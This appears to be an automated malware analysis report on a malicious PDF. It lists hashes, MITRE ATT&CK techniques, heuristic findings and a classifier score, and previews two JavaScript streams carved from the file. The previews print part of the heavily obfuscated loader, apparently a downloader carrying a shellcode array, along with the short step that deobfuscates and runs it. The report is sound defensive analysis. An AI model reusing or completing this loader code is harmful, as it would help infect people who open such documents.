Malicious PDF — malware analysis report

Static analysis result for SHA-256 76d72f82220cfd80…

MALICIOUS

PDF

27.8 KB Created: 2010-02-14 23:05:41 +03:00 Authoring application: [\$\?~\!@] (via b98b76db555804ba9abb7316c858aabe)
MD5: 4c49d6f7821a292876f023293018fbe8 SHA-1: bca509caa637f21cc01042497049e78975e58e10 SHA-256: 76d72f82220cfd80467abe698c033f4dc066d29e5c97062fb0d5ba9ed13c8c3b
82 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The PDF contains embedded JavaScript, indicated by multiple heuristic firings and the presence of two JavaScript streams. The primary script, javascript_obj0016_000.js, is heavily obfuscated but appears to be designed to download and execute a second-stage payload. The ML classifier strongly flags this PDF as malicious, supporting the conclusion that it is a malicious document likely delivered as a spearphishing attachment.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9977

Heuristics 5

  • ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX
    Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • Optional Content Group with action trigger low PDF_OPTIONAL_CONTENT
    Optional Content Group (layer) co-occurs with an action trigger — content can be selectively hidden from viewers or scanners while the action still fires on open

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0016_000.js
5e052e89cf4fee25ddbb5ded5e4a7d41a7aabd3f73c08a87a99f6e9f59dcfdc3		 pdf-javascript-stream PDF /JS object 16 at offset 0x1F81 34280 bytes
Preview script
First 1,000 lines of the extracted script
var nXxDSwkGY = 'v?a$r@ ?a$g?2!m~E$i~S?R? !=~ !n~e!w@ ~A@r~r@a$y?($)!;!v?a@r? ~x$T~5~K$Z~U?D~A!;!f$u@n!c~t!i~o~n? ?f~w~q@1~b@Y@s@B?h~($m!A!J@M@G$L?9!O$,~ !n~g?K?j$S@J!Z$z~x?)@{?w$h?i$l?e~(@m$A$J?M?G!L!9~O~.!l!e@n?g$t!h~ @*@ !2@ @<~ $n$g@K$j?S~J$Z!z?x~)@{$m~A$J?M?G~L$9?O? !+$=? ~m@A?J!M@G~L~9~O~;@}~m@A~J?M@G$L!9@O@ !=$ !m@A@J$M?G!L$9$O!.!s$u$b@s?t$r@i$n$g~($0~,@ ~n@g!K?j~S@J!Z?z!x~ ?/~ !2?)~;@r~e?t@u~r$n$ !m@A~J@M@G~L$9$O?;@}!f$u@n@c$t@i~o!n? ~n@V@v?J!2?i@4!2$P?6!(?p$K!s!2@w@B!V$y?5~n~)@{~i@f!(!p?K$s?2?w$B!V!y@5~n@ !=?=! ~0!)@{!v$a@r? ?s?G@y@r@a?3$U@S!d? ?=$ $0~x$0!c~0?c?0?c~0@c?;$v@a?r$ !g?G~u@C~b$5~E$0$W! !=! !n@e@w? ~A~r?r!a~y$(@\"!%@u!9!c$6$0$%~u$\"!,?\"!0@0~e$8@%?\"?,!\"$u!0?0@0$0?%!u~\"?,@\"~5$d!0@0@%$u~e$d@8@3?\"~,@\"@%@u~b$8!0?7$%@u~\"$,?\"$d~f!f!5~%$u$5~4@\"?,@\"@0!7~%$u$2?c!b@\"?,!\"~9?%?u@0~0~0?4$%!u@\"@,$\"!3@1~0~0@%@u@0$d@4!\"@,~\"?4@%!u$8~3$1~a@%?\"@,$\"$u@0~4!e$9@%$u~\"~,@\"?f!7?7@5?%~u@e@e!0~9?\"~,@\"~%!u~3@0~c?7$%!u$\"@,!\"$d~a?f?6!%$\"~,!\"?u$5~4@3?7?%?u@d~\"$,@\"~f$f$5$%?u@\"@,~\"~5~8?7@f$%@u?9$f~7$\"@,~\"$e?%!u!d$f?0$b$%!u~\"$,$\"~c~3!8~5?%?u@d!f~\"$,$\"$a?a~%$u?d!7$a~d?%!\"!,!\"?u@5@d@e!c$\"!,~\"@%$u~9$f@7@e~%~u~\"?,?\"@d!9?3?3~%~u@a?3@\"$,~\"$b$5$%@u$0!c@8$c@%!\"@,$\"~u$3~7?c@9~%$u!5@\"~,@\"@7~6!d?%?u?\"@,!\"@d@f~f$5@%~u?c!\"?,?\"?1~8$a@%~u@d!c?\"!,~\"$6!5$%$u~5!4?\"@,$\"~0@7?%!u!2$0!a@7@\"~,?\"?%$u@0~6?9!2!%~\"?,!\"$u@d@f!f!6@%~u@\"?,@\"!d@9@0!7$%@u?4$4~\"?,@\"?6~0~%@u?5@4$0$4?\"?,@\"?%$u~8@d?f!5?%?u?a?b?\"?,~\"?5!7!%~u$9@5@6!\"@,@\"$0$%@u@5@4@0?4$%@u$\"$,@\"?5@6@f!5!%?\"!,~\"@u@0$e?8$2$%$u!d~\"$,~\"!f$f!6!%?u@\"~,~\"!d!9$0$7!%~u@8~1~6!\"!,$\"?0~%$u!5?4~0~4!%~u?\"$,$\"!8~d!f$5$%?u$b!8!6~\"$,$\"!f@%?u$d@f$f$5~%~\"!,?\"~u?a~b$0~7?\"$,~\"@%@u?9$1$6!0$%@u$5$\"~,~\"$4!0?4@%!u!5@2@f?5~%@\"!,~\"!u$5?1@9!b@\"~,~\"?%~u~d~c~a$b?%?u$5?\"@,~\"!4!0!7?%?u~6~a?\"$,$\"?7@8$%!u~5!4@e!8@\"~,~\"?%?u?d!f~f?5$%@u!e~9!\"!,?\"@8$a!%~u~d?e?\"$,@\"@b~0!%@u~5~4$\"?,$\"?0@7?%~u!5!\"!,$\"~a!7!8!%$u!5~6@3?\"!,~\"@1~%~u~d@f~f@5@\"$,!\"~%?u@6!5@5!7$%$\"?,~\"?u~7?3@3~c@%$\"!,!\"~u$9~4?8$3?%@u@d?9!\"$,!\"@8!1@%~u!5?0$8$f?%@\"$,?\"!u$9~e?f$e~%$u$\"?,?\"!a$1?e@c?%~\"?,?\"@u~d~b@7!d!%?\"!,@\"?u$d?9?0$c@%@u!\"@,!\"$8?1$6$0~%!u?5@\"@,~\"!4@0@4?%?u?3$7?\"~,@\"!f$5!%?u$5~4@\"!,$\"!3$3~%?u!d!f?f@5@%$\"~,?\"$u!5$1~6~d@%@u!4@a$7!\"$,!\"?8~%!u@5!7?5$9?\"$,!\"$%!u@d@f~f!5!%!u?\"@,?\"@a$b~5@5@%~u!8@9!\"?,$\"!6$0~%@u$5@4~\"$,~\"~0!4!%@u@5?c!f$5!%$u@\"$,?\"@4!b!f@f@%!u@c@d!8$\"?,!\"@b~%~u$6!8@8?0$%!\"$,$\"$u$e!e?d$1!%!u$b@\"$,@\"!c$d@5?%$u$\"@,@\"$d?f~e!3$%!u$5?4~\"~,$\"@0!7~%~u?1$f!c?5@\"!,~\"!%$u?2!1!a~9$%!u?\"?,?\"@5$8~0$8~%$u?7!\"!,!\"!0!3~b!%~u~1$\"!,!\"$f$c~5$%$u$\"?,?\"~2$1$a?9~%~u?\"~,~\"!5@f!0!8$%$u~e~f$\"~,!\"?3!8$%~u?6@a?8?0?%$u@\"~,!\"~c?9@5@f$%~u@\"@,~\"$1$c$9!4!%~\"!,?\"@u!5$4?6~d?%~u~d~f~9$\"?,?\"~f@%!u!0@3@5?5@%!\"?,?\"$u$d~f@9!f?%!\"$,~\"!u!c@1@f!8?%?u?\"~,!\"~d~c@a?f~%@u$5$4~0$\"?,~\"~7@%!u!a!c$3$\"@,?\"!6!%@u~3@1~\"$,!\"?6$f@%?u$a~b~9~0@%!\"!,!\"~u@0?3$7$4!%!u@a~d!\"$,!\"@9~a@%@u$7!a@6@\"$,@\"~3?%!u@a$7~9?0!%!\"$,!\"?u!5@4@6~2!\"?,~\"$%@u$a!a!8$6?\"?,@\"?%@u@3!1!7~5~%$u@\"@,!\"$b!7!a~1$%@u?\"@,!\"$2~6!6@2~%!\"~,!\"@u~8@c?9@0@%~u~3?9~6@\"?,?\"!e?%$u~b@3$8@\"~,?\"!5?%~u$7!a?7!e?%@u@a~\"@,?\"!7~9~0?%?u@5@4!6!2@%!\"@,@\"@u?b$6?8?2@\"$,$\"?%!u$3!c@7~3$%?\"?,!\"?u!b~0!b~6?%@\"!,?\"!u!3!1?6?a~\"~,~\"?%$u~8$b~8!6?\"~,@\"!%$u$2$1$7$5?\"$,?\"?%$u@f?1~9$0@%$u@2$c~\"$,~\"~6~2@%?u$d?f~9$0!\"@,$\"?%~u!3!a!6$8$%~u$8$\"!,@\"@c~9@0!%!u$3!a~6~\"$,?\"$e~%?u@b?a$9~6@%~u@\"!,!\"?3@c!5!3~%@u!\"@,~\"?a~d~9@0~%$u@\"$,?\"@7!a~6$2@%?u!a$7~9~\"!,?\"?0~%$u!5!4!6?2?\"$,@\"@%$u$b$7~8?1~%$u?2!6!\"~,~\"$6!2!%!u!8$\"?,?\"?a~9$0!%@u?1$c!7?7?\"~,!\"~%!u~a!c$9@4~%!u$3$\"?,$\"~1!2@9$%$u@b@a~\"@,?\"?8$d?%@u!3@c@0~7$%~u?\"$,!\"!a~b?8$1!%@u@6!e?7!7@\"~,~\"$%@u$f?0@d$a@\"$,$\"~%$u~3?3!7~1~%@u@a@\"$,!\"~9@9!4~%$u!3?b?6?9~%~\"$,~\"@u@b$6@d@b!%!u$7!b?6~\"!,$\"@9?%!u!a!f@8@6!%$u?7~\"@,@\"!b!6@b!%@u!b~0?\"$,!\"~9$1?%!u~3?a@7$0?%~u@\"!,?\"!b?0~9!9!%@\"?,~\"!u?3?0?6?6@\"!,!\"?%~u@a!f@d$b~%!u$\"~,!\"!2~4?6$f?%!u!b!a$c!a?\"?,$\"?%$u$2@4?7$f@%$u~\"?,?\"$b?b!9@c@%$u~6!4!3$\"@,@\"?a?%?u$b!9!d!3?%@u~3~\"?,@\"@0$6$e?%$u~e~e@c!8@%!\"@,?\"?u@3$c@0~7!%~u$\"!,@\"?a@b!8!1?%?u@6!e~\"?,!\
... (truncated)
javascript_obj0018_001.js
3a8b2e0af147ec1cbba5537b8cc838f5171b60da50dc600eb176a5e9985f2eec		 pdf-javascript-stream PDF /JS object 18 at offset 0x6923 116 bytes
Preview script
First 1,000 lines of the extracted script
nXxDSwkGY = nXxDSwkGY.replace(new RegExp(mNmUfbkRg[qfP8OAdpaI][dHcBedhYI], 'g'), '');mNmUfbkRg[dr6yDADB](nXxDSwkGY);

Open this report in the interactive analyzer, or submit your own file for analysis.